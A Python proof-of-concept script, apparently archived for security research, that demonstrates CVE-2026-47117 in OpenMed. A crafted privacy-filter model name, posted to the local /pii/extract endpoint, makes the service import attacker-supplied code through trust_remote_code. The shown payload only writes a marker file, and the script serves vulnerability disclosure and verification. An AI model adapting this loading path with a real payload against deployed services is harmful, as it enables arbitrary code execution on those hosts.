#!/usr/bin/env python3 # Archived for authorized security research only. # Source: https://github.com/SaiTeja-Erukude/CVE-2026-47117-openmed-rce (see README for attribution/license) # CVE-2026-47117 - OpenMed privacy-filter model_name trust_remote_code RCE from __future__ import annotations import argparse import json import os from pathlib import Path ROOT = Path(__file__).resolve().parent POC_DIR = ROOT MARKER = POC_DIR / "marker.txt" LOCAL_MODEL_NAME = "foo-privacy-filter-bar" HUB_STYLE_MODEL_NAME = "attacker/foo-privacy-filter-bar" EXPECTED_MARKER_LINES = [ "tokenization_poc imported via trust_remote_code", "modeling_poc imported via trust_remote_code", ] def _route_summary( model_name: str, *, validate_model_name, looks_like_privacy_filter_identifier, select_privacy_filter_backend, resolve_privacy_filter_model, ) -> dict[str, str | bool]: validated = validate_model_name(model_name) backend = select_privacy_filter_backend(validated) return { "input": model_name, "validated": validated, "privacy_filter": looks_like_privacy_filter_identifier(validated), "backend": backend, "actual": resolve_privacy_filter_model(validated, backend), } def _print_route(prefix: str, route: dict[str, str | bool]) -> None: print( f"{prefix}: " f"validated={route['validated']}; " f"privacy_filter={route['privacy_filter']}; " f"backend={route['backend']}; " f"actual={route['actual']}" ) def _print_section(title: str) -> None: print("\n" + "=" * 60) print(title) print("=" * 60) def main() -> int: parser = argparse.ArgumentParser( description="Safe PoC for OpenMed privacy-filter trust_remote_code RCE." ) parser.add_argument( "--json", action="store_true", help="emit machine-readable evidence instead of human-readable output", ) args = parser.parse_args() os.chdir(ROOT) os.environ["OPENMED_POC_MARKER"] = str(MARKER) MARKER.unlink(missing_ok=True) import openmed from fastapi.testclient import TestClient from openmed.core.backends import ( resolve_privacy_filter_model, select_privacy_filter_backend, ) from openmed.core.pii import _looks_like_privacy_filter_identifier from openmed.service.app import create_app from openmed.utils.validation import validate_model_name openmed_file = str(Path(openmed.__file__).resolve()) openmed_version = getattr(openmed, "__version__", "unknown") hub_route = _route_summary( HUB_STYLE_MODEL_NAME, validate_model_name=validate_model_name, looks_like_privacy_filter_identifier=_looks_like_privacy_filter_identifier, select_privacy_filter_backend=select_privacy_filter_backend, resolve_privacy_filter_model=resolve_privacy_filter_model, ) local_route = _route_summary( LOCAL_MODEL_NAME, validate_model_name=validate_model_name, looks_like_privacy_filter_identifier=_looks_like_privacy_filter_identifier, select_privacy_filter_backend=select_privacy_filter_backend, resolve_privacy_filter_model=resolve_privacy_filter_model, ) request_payload = { "text": "John Doe called 555-1212", "model_name": LOCAL_MODEL_NAME, "confidence_threshold": 0.0, } _print_section("OpenMed PoC Runtime Details") print(f"working_directory: {Path.cwd()}") print(f"openmed_version: {openmed_version}") print(f"openmed_file: {openmed_file}") print(f"marker_path: {MARKER}") print(f"marker_exists_before: {MARKER.exists()}") _print_section("Resolved Routes") _print_route("hub_style_route", hub_route) _print_route("local_poc_route", local_route) _print_section("HTTP Request") print(json.dumps(request_payload, indent=2)) client = TestClient(create_app(), raise_server_exceptions=False) response = client.post( "/pii/extract", json={ "text": "John Doe called 555-1212", "model_name": LOCAL_MODEL_NAME, "confidence_threshold": 0.0, }, ) marker_exists = MARKER.exists() marker_contents = ( MARKER.read_text(encoding="utf-8").splitlines() if marker_exists else [] ) remote_code_imported = [ line for line in EXPECTED_MARKER_LINES if line in marker_contents ] success = ( response.status_code == 200 and hub_route["privacy_filter"] is True and hub_route["backend"] == "torch" and local_route["privacy_filter"] is True and local_route["backend"] == "torch" and len(remote_code_imported) == len(EXPECTED_MARKER_LINES) ) evidence = { "success": success, "openmed_version": openmed_version, "openmed_file": openmed_file, "hub_style_route": hub_route, "local_poc_route": local_route, "status_code": response.status_code, "response": response.text[:500], "marker_path": str(MARKER), "marker_exists": marker_exists, "marker_contents": marker_contents, "remote_code_imported": remote_code_imported, } if args.json: print(json.dumps(evidence, indent=2, sort_keys=True)) else: _print_section("HTTP Response") print(f"status_code: {response.status_code}") print("response_body:") print(response.text[:500]) print() print(f"marker_exists: {marker_exists}") if marker_exists: _print_section("Marker Contents") print(MARKER.read_text(encoding="utf-8")) print() print("summary: this proof shows the privacy-filter model loading path can be used to import attacker-controlled code via trust_remote_code.") return 0 if success else 1 if __name__ == "__main__": raise SystemExit(main())